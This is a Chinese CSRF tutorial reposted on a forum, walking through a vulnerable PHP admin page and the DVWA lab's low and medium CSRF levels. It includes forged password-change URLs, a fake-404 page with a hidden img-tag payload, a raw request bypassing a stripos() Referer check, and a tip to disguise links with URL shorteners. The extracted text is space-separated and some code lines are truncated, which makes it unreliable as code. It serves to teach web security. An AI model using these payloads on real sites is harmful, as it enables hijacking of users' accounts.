搜索

[19564] 2019-12-19_10分钟浅谈CSRF突破原理，Web安全的第一防线！

文档创建者：s7ckTeam
浏览次数：37
最后更新：2025-01-18
2019-12-19_10分钟浅谈CSRF突破原理，Web安全的第一防线！ 1 0 分 钟 浅 谈 C S R F 突 破 原 理 ， W e b 安 全 的 第 一 防 线 ！ i 春 秋   2 0 1 9 - 1 2 - 1 9 C S R F 攻 击 即 跨 站 请 求 伪 造 （   c r o s s   s i t e   r e q u e s t   f o r g e r y ) ， 是 一 种 对 网 站 的 恶 意 利 用 ， 听 起 来 似 乎 与 X S S 跨 站 脚 本 攻 击 有 点 相 似 ， 但 其 实 两 者 相 差 很 大 ， X S S 利 用 的 是 站 点 内 的 信 任 用 户 ， 而 C S R F 则 是 通 过 伪 装 来 自 受 信 任 用 户 的 请 求 来 利 用 受 信 任 的 网 站 。 你 可 以 这 么 理 解 C S R F 攻 击 ： 攻 击 者 盗 用 了 你 的 身 份 ， 以 你 的 名 义 向 第 三 方 网 站 发 送 恶 意 请 求 。 C R S F 能 做 的 事 情 包 括 利 用 你 的 身 份 发 邮 件 、 发 短 信 、 进 行 交 易 转 账 等 ， 甚 至 盗 取 你 的 账 号 。 那 么 ， 今 天   i   春 秋 向 小 伙 伴 介 绍 一 下 C S R F 突 破 原 理 突 破 原 理 的 相 关 内 容 ， 希 望 对 大 家 学 习 W e b 安 全 有 所 帮 助 。 文 章 阅 读 约 1 5 分 钟 ， 一 定 要 看 完 哦 ， 文 末 内 容 更 精 彩 ~ C S R F 攻 击 原 理 攻 击 原 理 当 我 们 打 开 或 登 录 某 个 网 站 后 ， 浏 览 器 与 网 站 所 存 放 的 服 务 器 将 会 产 生 一 个 会 话 ， 在 会 话 结 束 前 ， 用 户 就 可 以 利 用 具 有 其 网 站 权 限 对 网 站 进 行 操 作 ， 如 ： 发 表 文 章 ， 发 送 邮 件 ， 会 话 结 束 后 ， 在 进 行 权 限 操 作 ， 网 站 就 会 知 道 会 话 超 期 或 重 新 登 录 。
当 登 录 网 站 后 ， 浏 览 器 就 会 和 可 信 的 站 点 建 立 一 个 经 过 认 证 的 会 话 。 所 有 通 过 这 个 经 过 认 证 的 会 话 发 送 请 求 ， 都 被 认 为 是 可 信 的 行 为 ， 例 如 转 账 ， 汇 款 等 操 作 。 认 证 的 时 间 过 长 或 者 自 主 结 束 重 叠 ， 必 须 重 新 建 立 经 过 认 证 的 可 信 安 全 的 会 话 。 C S R F 攻 击 是 建 立 在 会 话 之 上 。 例 如 ： 登 录 了 网 上 银 行 ， 分 裂 转 换 账 业 务 ， 这 是 攻 击 者 给 你 发 来 一 个 U R L ， 这 个 U R L 是 攻 击 者 精 心 构 造 的 有 效 载 荷 ， 攻 击 者 精 心 构 造 的 转 账 业 务 代 码 ， 而 且 与 你 登 录 的 是 同 一 家 银 行 ， 当 你 认 为 这 是 安 全 的 链 接 后 点 击 进 去 ， 你 的 钱 就 没 了 ！ 例 如 想 给 用 户 x x s e r 转 账 1 0 0 0 元 ， 正 常 的 U R L 是 ： 而 攻 击 者 构 造 的 U R L 则 是 ： C S R F 突 破 利 用 突 破 利 用 C S R F 进 攻 常 常 被 用 来 制 造 蠕 虫 攻 击 ， S E O 流 量 等 。 分 析 防 御 代 码 分 析 防 御 代 码 获 取 G E T 参 数 用 户 名 和 密 码 ， 然 后 通 过 选 择 语 句 查 询 是 否 存 在 对 应 的 用 户 ， 如 果 存 在 通 过 $   _ S E S S I O N 设 置 一 个 会 话 ： i s a d m i n   =   a d m i n ， 否 则 设 置 会 话 ： i s a d m i n   =   g u e s t 判 断 会 话 中 的 i s a d m i n 是 否 为 a d m i n ， 如 果 i s a d m i n ！ =   a d m i n 说 明 用 户 没 有 登 录 ， 那 么 切 换 到 登 录 页 面 ， 只 有 在 管 理 员 登 录 后 才 可 以 执 行 用 户 的 操 作 。 获 取 P O S T 参 数 用 户 名 和 密 码 然 后 插 入 用 户 表 中 ， 完 成 添 加 用 户 的 操 作 。 s e c b u g . o r g / p a y . j s p ? u s e r = x x s e r & m o n e y = 1 0 0 0 s e c b u g . o r g / p a y . j s p ? u s e r = h a c k & m o n e y = 1 0 0 0 0
这 是 后 台 p h p 源 码 。 攻 击 者 需 要 做 的 就 是 构 造 一 个 请 求 ， 请 求 的 U R L 就 是 p h p 文 件 的 U R L ， 参 数 是 s u b m i t = 1 & u s e r n a m e = 1 & p a s s w o r d = 1 ， 请 求 p a y l o a d 会 自 动 的 利 用 原 始 码 的 特 性 添 加 一 个 用 户 ： < ? p h p         s e s s i o n _ s t a r t ( ) ;         i f   ( i s s e t ( $ _ G E T [ ' l o g i n ' ] ) )   {                 $ c o n = m y s q l i _ c o n n e c t ( " 1 2 7 . 0 . 0 . 1 " , " r o o t " , " 1 2 3 4 5 6 " , " t e s t " ) ;                 i f   ( m y s q l _ c o n n e c t _ e r r n o ( ) )   {                         e c h o   " 连 接 失 败 " . m y s q l _ c o n n e c t _ e r r n o ( ) ;                 }                 $ u s e r n a m e   =   a d d s l a s h e s ( $ _ G E T [ ' u s e r n a m e ' ] ) ;                 $ p a s s w o r d   =   $ _ G E T [ ' p a s s w o r d ' ] ;                 $ r e s u l t   =   m y s q l i _ q u e r y ( $ c o n   ,   " s e l e c t   *   f r o m   u s e r s   w h e r e   u s e r n a m e = ' " . $ u s e r n a m e . " '   a n d   p a s s w o r d = ' " . m d 5 (                 $ r o w   =   m y s q l i _ f e t c h _ a r r a y ( $ r e s u l t ) ;                 i f ( $ r o w ) {                         $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' a d m i n ' ;                         e x i t ( " 登 录 成 功 " ) ;                 }   e l s e {                         $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' g u e s t ' ;                         e x i t ( " 登 录 失 败 " ) ;                 }         }   e l s e {                 $ _ S E S S I O N [ ' i s a d m i n ' ]   =   ' g u e s t ' ;         }         i f ( $ _ S E S S I O N [ ' i s a d m i n ' ]   ! =   ' a d m i n ' ) {                 e x i t ( " 请 登 录 … … " ) ;         }         i f ( i s s e t ( $ _ P O S T [ ' s u b m i t ' ] ) ) {                 i f   ( i s s e t ( $ _ P O S T [ ' u s e r n a m e ' ] ) )   {                         $ r e s u l t 1   =   m y s q l i _ q u e r y ( $ c o n , " i n s e r t   i n t o   u s e r s ( u s e r n a m e   ,   p a s s w o r d )   v a l u e   ( ' " . $ _ P O S T [ ' u s e r n a m e '                         e x i t ( $ _ P O S T [ ' u s e r n a m e ' ] . " 添 加 成 功 " ) ;                 }         } ? >
< ! D O C T Y P E   h t m l > < h t m l > < h e a d >         < m e t a   c h a r s e t = " u t f - 8 " >         < t i t l e > C S R F 漏 洞 实 践 < / t i t l e > < / h e a d > < b o d y >         < s c r i p t   t y p e = " t e x t / j a v a s c r i p t " >
D V W A 平 台 平 台 C S R F 没 有 找 到 比 较 好 的 原 始 文 件 ， 于 是 找 到 了 D V W A 。 l o w 前 端 源 码 前 端 源 码 < / s c r i p t > < / b o d y > < / h t m l >
前 端 源 码 前 端 源 码 前 端 源 码 非 常 的 简 单 ， 是 一 个 修 改 密 码 的 C S R F ， 表 单 采 用 G E T 方 式 C h a n g e 提 交 。 后 端 源 码 后 端 源 码 < h 3 > C h a n g e   y o u r   a d m i n   p a s s w o r d : < / h 3 > < b r > < f o r m   a c t i o n = " # "   m e t h o d = " G E T " > N e w   p a s s w o r d : < b r > < i n p u t   a u t o c o m p l e t e = " o f f "   n a m e = " p a s s w o r d _ n e w "   t y p e = " p a s s w o r d " > < b r > C o n f i r m   n e w   p a s s w o r d : < b r > < i n p u t   a u t o c o m p l e t e = " o f f "   n a m e = " p a s s w o r d _ c o n f "   t y p e = " p a s s w o r d " > < b r > < b r > < i n p u t   v a l u e = " C h a n g e "   n a m e = " C h a n g e "   t y p e = " s u b m i t " > < / f o r m >
可 以 看 见 后 端 接 收 数 据 后 会 验 证 两 次 密 码 是 否 重 复 ， 然 后 修 改 密 码 。 构 造 有 效 构 造 有 效 P a y l o a d 我 们 将 P a y l o a d 发 送 给 受 害 者 ， 受 害 者 处 于 会 话 保 持 （ 登 录 状 态 ） 中 ， 受 害 者 一 旦 点 击 该 U R L 链 接 ， 就 意 味 着 受 害 者 执 行 了 同 样 的 操 作 ， 这 个 过 程 就 是 C S R F 。 笔 者 位 于 的 D V W A 使 用 的 登 录 密 码 ， 被 替 换 为 “   1 2 3 4 5 6 ” 。 < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {     / /   G e t   i n p u t     $ p a s s _ n e w     =   $ _ G E T [   ' p a s s w o r d _ n e w '   ] ;     $ p a s s _ c o n f   =   $ _ G E T [   ' p a s s w o r d _ c o n f '   ] ;     / /   D o   t h e   p a s s w o r d s   m a t c h ?     i f (   $ p a s s _ n e w   = =   $ p a s s _ c o n f   )   {             / /   T h e y   d o !             $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g (             $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;             / /   U p d a t e   t h e   d a t a b a s e             $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " ' ; " ;             $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S             / /   F e e d b a c k   f o r   t h e   u s e r             e c h o   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;     }     e l s e   {             / /   I s s u e   w i t h   p a s s w o r d s   m a t c h i n g             e c h o   " < p r e > P a s s w o r d s   d i d   n o t   m a t c h . < / p r e > " ;     }     ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } ? > h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 5 6 & p a s s w o r d _ c o n f = 1 2 3 4 5 6 & C h a n g e = C h a n g e #
重 点 重 点 这 里 的 攻 击 成 立 是 利 用 受 害 者 的 C o o k i e 向 服 务 器 发 送 伪 造 请 求 （ P a y l o a d ） ， 如 果 用 户 使 用 的 是 一 个 与 x x s e r . c o m 保 持 会 话 登 录 的 浏 览 器 单 击 P a y l o a d - U R L ， 受 害 者 的 密 码 就 会 发 生 更 改 。 现 如 今 ， 人 们 的 安 全 意 识 普 遍 增 高 ， 我 们 可 以 采 用 短 链 接 这 种 方 式 来 进 行 优 化 ， 例 如 百 度 ， 新 浪 的 短 链 接 均 可 ， 为 了 减 少 图 片 内 容 ， 密 码 修 改 后 的 页 面 会 有 提 示 。 高 明 的 做 法 （ 从 一 位 前 辈 高 明 的 做 法 （ 从 一 位 前 辈 c o p y 过 来 的 ） 过 来 的 ） 页 面 的 作 用 是 加 载 一 个 伪 4 0 4 的 页 面 ， 实 际 上 一 旦 访 问 该 页 面 ， 就 会 加 载 图 片 ， 所 谓 加 载 图 片 就 是 加 载 s r c 属 性 ， 而 s r c 属 性 则 为 P a y l o a d - U R L ， 实 际 的 行 为 就 是 加 载 该 h t m l 页 面 的 同 时 图 片 会 加 载 ， 也 就 执 行 了 P a y l o a d 。 m i d d l e 后 端 源 码 （ 添 加 了 （ 添 加 了 h t t p _ r e f e r e r 头 的 验 证 ） 头 的 验 证 ） < ! D O C T Y P E   h t m l > < h t m l > < h e a d > < m e t a   c h a r s e t = " u t f - 8 " > < t i t l e > P a y l o a d < / t i t l e > < / h e a d > < b o d y > < i m g   s r c = " h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 5 6 & p a s s w o r d _ c o n f = 1 2 3 4 5 6 & C h a n g e = C h a n g e # " < h 1 > 4 0 4 < / h 1 > < h 2 > f i l e   n o t   f o u n d . < / h 2 > < / b o d y > < / h t m l >
检 查 H T T P _ R E F E R E R （ h t t p 数 据 包 的 r e f e r e r 参 数 值 ） 即 上 一 级 上 一 级 U R L 地 址 信 息 是 否 包 含 由 地 址 信 息 是 否 包 含 由 H T T P H T T P 数 据 包 中 的 主 机 参 数 数 据 包 中 的 主 机 参 数 值 ； 值 ； 包 含 则 表 示 当 前 页 面 是 从 包 含 则 表 示 当 前 页 面 是 从 D V W A 即 上 一 级 即 上 一 级 U R L 合 法 的 行 为 。 合 法 的 行 为 。 < ? p h p i f (   i s s e t (   $ _ G E T [   ' C h a n g e '   ]   )   )   {     / /   H T T P _ R E F E R E R   : 查 询 当 前 页 的 前 一 页 的 地 址 信 息     / /   S E R V E R _ N A M E     : 获 取 域 名     i f (   s t r i p o s (   $ _ S E R V E R [   ' H T T P _ R E F E R E R '   ]   , $ _ S E R V E R [   ' S E R V E R _ N A M E '   ] )   ! = =   f a l s e   )   {             / /   s t r i p o s ( )   : 查 字 符 第 一 次 出 现 的 位 置 ，             $ p a s s _ n e w     =   $ _ G E T [   ' p a s s w o r d _ n e w '   ] ;             $ p a s s _ c o n f   =   $ _ G E T [   ' p a s s w o r d _ c o n f '   ] ;             / /   D o   t h e   p a s s w o r d s   m a t c h ?             i f (   $ p a s s _ n e w   = =   $ p a s s _ c o n f   )   {                     / /   T h e y   d o !                     $ p a s s _ n e w   =   ( ( i s s e t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] )   & &   i s _ o b j e c t ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) )   ?   m y s q l i _ r e a l _ e s c a p e _ s t r i n g (                     $ p a s s _ n e w   =   m d 5 (   $ p a s s _ n e w   ) ;                     / /   U p d a t e   t h e   d a t a b a s e                     $ i n s e r t   =   " U P D A T E   ` u s e r s `   S E T   p a s s w o r d   =   ' $ p a s s _ n e w '   W H E R E   u s e r   =   ' "   .   d v w a C u r r e n t U s e r ( )   .   " ' ; " ;                     $ r e s u l t   =   m y s q l i _ q u e r y ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ,     $ i n s e r t   )   o r   d i e (   ' < p r e > '   .   ( ( i s _ o b j e c t ( $ G L O B A L S                     / /   F e e d b a c k   f o r   t h e   u s e r                     e c h o   " < p r e > P a s s w o r d   C h a n g e d . < / p r e > " ;             }             e l s e   {                     / /   I s s u e   w i t h   p a s s w o r d s   m a t c h i n g                     e c h o   " < p r e > P a s s w o r d s   d i d   n o t   m a t c h . < / p r e > " ;             }     }     e l s e   {             / /   D i d n ' t   c o m e   f r o m   a   t r u s t e d   s o u r c e             e c h o   " < p r e > T h a t   r e q u e s t   d i d n ' t   l o o k   c o r r e c t . < / p r e > " ;     }     ( ( i s _ n u l l ( $ _ _ _ m y s q l i _ r e s   =   m y s q l i _ c l o s e ( $ G L O B A L S [ " _ _ _ m y s q l i _ s t o n " ] ) ) )   ?   f a l s e   :   $ _ _ _ m y s q l i _ r e s ) ; } ? >
合 法 的 合 法 的 h t t p 数 据 包 ： 数 据 包 ： 留 意 第 2 行 ， 第 8 行 。 分 析 绕 过 分 析 绕 过 但 是 s t r i p o s （ ） 函 数 写 的 头 验 证 是 可 以 绕 过 的 〜 s t r i p o s （ ） 函 数 是 多 次 匹 配 ； 只 要 包 含 了 目 标 主 机 地 址 就 可 以 绕 过 s t r i p s （ ） 函 数 写 的 验 证 语 句 如 果 我 们 依 旧 按 照 建 立 一 个 伪 造 的 攻 击 页 面 ， s t r i p o s （ ） 头 验 证 就 会 验 证 ， 而 页 面 并 非 来 自 D V W A ， 于 是 深 挖 s t r i p o s （ ） 函 数 的 扩 展 ， 发 现 函 数 会 多 次 匹 配 ， 于 是 思 路 就 是 建 立 一 个 假 的 文 件 名 ， 通 过 一 个 伪 造 的 文 件 名 ， 绕 过 s t r i p o s （ ） 的 验 证 。 P a y l o a d G E T   / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / ? p a s s w o r d _ n e w = 1 2 3 4 & p a s s w o r d _ c o n f = 1 2 3 4 & C h a n g e = C h a n g e   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 4 8 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 4 8 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e D N T :   1 R e f e r e r :   h t t p : / / 1 2 7 . 0 . 0 . 1 / D V W A - m a s t e r / v u l n e r a b i l i t i e s / c s r f / C o o k i e :   s e c u r i t y = m e d i u m ;   P H P S E S S I D = n f a f k l o f 4 u n q i n b 2 b 0 j v v p l 9 4 3 X - F o r w a r d e d - F o r :   8 . 8 . 8 . 8 C o n n e c t i o n :   k e e p - a l i v e U p g r a d e - I n s e c u r e - R e q u e s t s :   1
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理